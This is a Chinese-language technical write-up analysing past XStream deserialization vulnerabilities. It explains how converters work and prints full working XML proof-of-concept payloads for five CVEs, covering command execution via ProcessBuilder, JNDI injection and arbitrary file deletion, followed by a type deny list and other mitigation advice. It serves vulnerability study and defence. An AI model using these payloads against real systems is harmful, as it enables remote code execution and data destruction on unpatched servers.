XSteam历史漏洞分析
字数 2213 2025-08-27 12:33:31

XStream历史漏洞分析与利用指南

一、XStream简介

XStream是一个简单的基于Java库,能够将Java对象序列化到XML,也能将XML反序列化为Java对象。核心功能包括:

  • 实现Java对象与XML文档的相互转换
  • 支持自定义转换器(Converter)处理不同类型数据
  • 默认使用反射机制为对象属性赋值

序列化示例

public class People {
    private String name;
    private int age;
    private Company workCompany;
    // 构造方法和getter/setter省略
}

public class Company {
    private String companyName;
    private String companyLocation;
    // 构造方法和getter/setter省略
}

XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);

序列化差异

是否实现Serializable接口会影响生成的XML结构:

  1. 实现Serializable接口
<XStream.People serialization="custom">
  <default>
    <age>25</age>
    <name>xiaoming</name>
    <workCompany serialization="custom">
      <XStream.Company>
        <default>
          <companyLocation>BeiJing</companyLocation>
          <companyName>TopSec</companyName>
        </default>
      </XStream.Company>
    </workCompany>
  </default>
</XStream.People>
  1. 未实现Serializable接口
<XStream.People>
  <name>xiaoming</name>
  <age>25</age>
  <workCompany>
    <companyName>TopSec</companyName>
    <companyLocation>BeiJing</companyLocation>
  </workCompany>
</XStream.People>

关键区别:实现Serializable接口时会使用SerializableConverter,能触发readObject方法。

二、XStream反序列化流程分析

反序列化核心流程:

  1. TreeUnmarshaller.start() - 开始解析XML
  2. HierarchicalStreams.readClassType() - 通过标签名获取对应的Class对象
  3. TreeUnmarshaller.convertAnother() - 将Class转换为Java对象
    • 通过mapper.defaultImplementationOf查找Class实现类
    • 通过ConverterLookup.lookupConverterForType获取对应转换器
  4. Converter.unmarshal() - 根据获取的对象继续解析子节点
  5. 递归处理直到完成所有节点解析

关键转换器:

  • ReflectionConverter:通过反射为属性赋值
  • SerializableConverter:处理实现了Serializable接口的类,会调用readObject方法

三、历史漏洞分析

1. CVE-2013-7285 (XStream <=1.4.6或1.4.10)

漏洞类型:远程代码执行
利用条件:使用动态代理和EventHandler

POC

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>calc</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

利用链分析

  1. 解析sorted-set标签,使用TreeSetConverter
  2. 处理dynamic-proxy时使用DynamicProxyConverter
  3. 创建EventHandler代理
  4. 在TreeMap.put()时触发EventHandler.invoke()
  5. 最终调用ProcessBuilder.start()

替代POC(使用tree-map标签):

<tree-map>
  <entry>
    <string>fookey</string>
    <string>foovalue</string>
  </entry>
  <entry>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
          <command>
            <string>calc.exe</string>
          </command>
        </target>
        <action>start</action>
      </handler>
    </dynamic-proxy>
    <string>good</string>
  </entry>
</tree-map>

2. CVE-2020-26217 (XStream <=1.4.13)

漏洞类型:远程代码执行
利用链:基于NativeString和Base64Data的复杂链

POC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

利用链分析

  1. 解析map标签,使用MapConverter
  2. 处理NativeString时调用hashCode()
  3. hashCode()调用getStringValue()
  4. 触发Base64Data.toString()
  5. 通过DataSource.getInputStream()触发复杂调用链
  6. 最终通过反射调用ProcessBuilder.start()

3. CVE-2020-26259 (XStream <=1.4.13)

漏洞类型:任意文件删除
利用链:修改CVE-2020-26217的POC

POC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
              <tempFile>/test.txt</tempFile>
            </is>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

利用原理
通过FileStream的close()方法删除指定文件:

public void close() throws IOException {
    if (tempFile != null && !tempFile.delete()) {
        throw new IOException("File " + tempFile + " could not be deleted");
    }
}

4. CVE-2021-21344 (XStream <=1.4.15)

漏洞类型:远程代码执行(JNDI注入)
利用链:PriorityQueue + JdbcRowSetImpl

POC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.rowset.JdbcRowSetImpl</class>
                          <name>getDatabaseMetaData</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference=marshallerPool>
                          <nameList>
                            <nsUriCannotBeDefaulted>
                              <boolean>true</boolean>
                            </nsUriCannotBeDefaulted>
                            <namespaceURIs>
                              <string>1</string>
                            </namespaceURIs>
                            <localNames>
                              <string>UTF-8</string>
                            </localNames>
                          </nameList>
                        </outer-class>
                      </marshallerPool>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                  <javax.sql.rowset.BaseRowSet>
                    <default>
                      <concurrency>1008</concurrency>
                      <escapeProcessing>true</escapeProcessing>
                      <fetchDir>1000</fetchDir>
                      <fetchSize>0</fetchSize>
                      <isolation>2</isolation>
                      <maxFieldSize>0</maxFieldSize>
                      <maxRows>0</maxRows>
                      <queryTimeout>0</queryTimeout>
                      <readOnly>true</readOnly>
                      <rowSetType>1004</rowSetType>
                      <showDeleted>false</showDeleted>
                      <dataSource>rmi://127.0.0.1:1099/test</dataSource>
                      <params/>
                    </default>
                  </javax.sql.rowset.BaseRowSet>
                  <com.sun.rowset.JdbcRowSetImpl>
                    <default>
                      <iMatchColumns>
                        <int>-1</int>
                        <int>-1</int>
                        <!-- 省略其他int -->
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>
                        <!-- 省略其他null -->
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

利用链分析

  1. 触发PriorityQueue的readObject()
  2. 通过IndexOrderComparator.compare()
  3. 最终触发JdbcRowSetImpl.getDatabaseMetaData()
  4. 调用connect()导致JNDI注入

5. CVE-2021-21345 (XStream <=1.4.15)

漏洞类型:远程代码执行
利用链:PriorityQueue + ServerTableEntry

POC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                          <name>verify</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference=marshallerPool>
                          <nameList>
                            <nsUriCannotBeDefaulted>
                              <boolean>true</boolean>
                            </nsUriCannotBeDefaulted>
                            <namespaceURIs>
                              <string>1</string>
                            </namespaceURIs>
                            <localNames>
                              <string>UTF-8</string>
                            </localNames>
                          </nameList>
                        </outer-class>
                      </marshallerPool>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                  <activationCmd>calc</activationCmd>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

利用原理
通过Accessor$GetterSetterReflection调用任意方法,最终执行:

// ServerTableEntry.verify()
Runtime.getRuntime().exec(activationCmd);

变种POC(直接调用ProcessBuilder.start):

<!-- 只需修改jaxbType和getter部分 -->
<jaxbType>java.lang.ProcessBuilder</jaxbType>
<getter>
  <class>java.lang.ProcessBuilder</class>
  <name>start</name>
  <parameter-types/>
</getter>

四、漏洞利用总结

漏洞利用关键点

  1. 转换器选择

    • 使用特定标签触发特定转换器(如sorted-set触发TreeSetConverter)
    • 实现Serializable接口可触发SerializableConverter和readObject
  2. 利用链构造

    • 动态代理+EventHandler(CVE-2013-7285)
    • 复杂对象属性控制(NativeString+Base64Data)
    • 反序列化标准链(PriorityQueue+JdbcRowSetImpl)
  3. 执行方式

    • 直接命令执行(ProcessBuilder/Runtime.exec)
    • JNDI注入
    • 文件操作(删除/读取)

防御建议

  1. 升级到最新安全版本
  2. 使用XStream的安全配置:
    XStream xstream = new XStream();
    // 禁止特定类型
    xstream.denyTypes(new Class[]{EventHandler.class, ImageIO.ContainsFilter.class, ProcessBuilder.class});
    // 或使用白名单
    xstream.allowTypesByWildcard(new String[]{"com.your.package.**"});
    
  3. 避免反序列化不可信数据

五、参考资源

  1. XStream官方文档
  2. XStream安全公告
  3. Java反序列化漏洞原理与实践
XStream历史漏洞分析与利用指南 一、XStream简介 XStream是一个简单的基于Java库,能够将Java对象序列化到XML,也能将XML反序列化为Java对象。核心功能包括: 实现Java对象与XML文档的相互转换 支持自定义转换器(Converter)处理不同类型数据 默认使用反射机制为对象属性赋值 序列化示例 序列化差异 是否实现 Serializable 接口会影响生成的XML结构: 实现Serializable接口 : 未实现Serializable接口 : 关键区别:实现Serializable接口时会使用 SerializableConverter ,能触发 readObject 方法。 二、XStream反序列化流程分析 反序列化核心流程: TreeUnmarshaller.start() - 开始解析XML HierarchicalStreams.readClassType() - 通过标签名获取对应的Class对象 TreeUnmarshaller.convertAnother() - 将Class转换为Java对象 通过mapper.defaultImplementationOf查找Class实现类 通过ConverterLookup.lookupConverterForType获取对应转换器 Converter.unmarshal() - 根据获取的对象继续解析子节点 递归处理直到完成所有节点解析 关键转换器: ReflectionConverter :通过反射为属性赋值 SerializableConverter :处理实现了Serializable接口的类,会调用readObject方法 三、历史漏洞分析 1. CVE-2013-7285 (XStream <=1.4.6或1.4.10) 漏洞类型 :远程代码执行 利用条件 :使用动态代理和EventHandler POC : 利用链分析 : 解析 sorted-set 标签,使用 TreeSetConverter 处理 dynamic-proxy 时使用 DynamicProxyConverter 创建EventHandler代理 在TreeMap.put()时触发EventHandler.invoke() 最终调用ProcessBuilder.start() 替代POC (使用tree-map标签): 2. CVE-2020-26217 (XStream <=1.4.13) 漏洞类型 :远程代码执行 利用链 :基于NativeString和Base64Data的复杂链 POC : 利用链分析 : 解析map标签,使用MapConverter 处理NativeString时调用hashCode() hashCode()调用getStringValue() 触发Base64Data.toString() 通过DataSource.getInputStream()触发复杂调用链 最终通过反射调用ProcessBuilder.start() 3. CVE-2020-26259 (XStream <=1.4.13) 漏洞类型 :任意文件删除 利用链 :修改CVE-2020-26217的POC POC : 利用原理 : 通过FileStream的close()方法删除指定文件: 4. CVE-2021-21344 (XStream <=1.4.15) 漏洞类型 :远程代码执行(JNDI注入) 利用链 :PriorityQueue + JdbcRowSetImpl POC : 利用链分析 : 触发PriorityQueue的readObject() 通过IndexOrderComparator.compare() 最终触发JdbcRowSetImpl.getDatabaseMetaData() 调用connect()导致JNDI注入 5. CVE-2021-21345 (XStream <=1.4.15) 漏洞类型 :远程代码执行 利用链 :PriorityQueue + ServerTableEntry POC : 利用原理 : 通过Accessor$GetterSetterReflection调用任意方法,最终执行: 变种POC (直接调用ProcessBuilder.start): 四、漏洞利用总结 漏洞利用关键点 转换器选择 : 使用特定标签触发特定转换器(如sorted-set触发TreeSetConverter) 实现Serializable接口可触发SerializableConverter和readObject 利用链构造 : 动态代理+EventHandler(CVE-2013-7285) 复杂对象属性控制(NativeString+Base64Data) 反序列化标准链(PriorityQueue+JdbcRowSetImpl) 执行方式 : 直接命令执行(ProcessBuilder/Runtime.exec) JNDI注入 文件操作(删除/读取) 防御建议 升级到最新安全版本 使用XStream的安全配置: 避免反序列化不可信数据 五、参考资源 XStream官方文档 XStream安全公告 Java反序列化漏洞原理与实践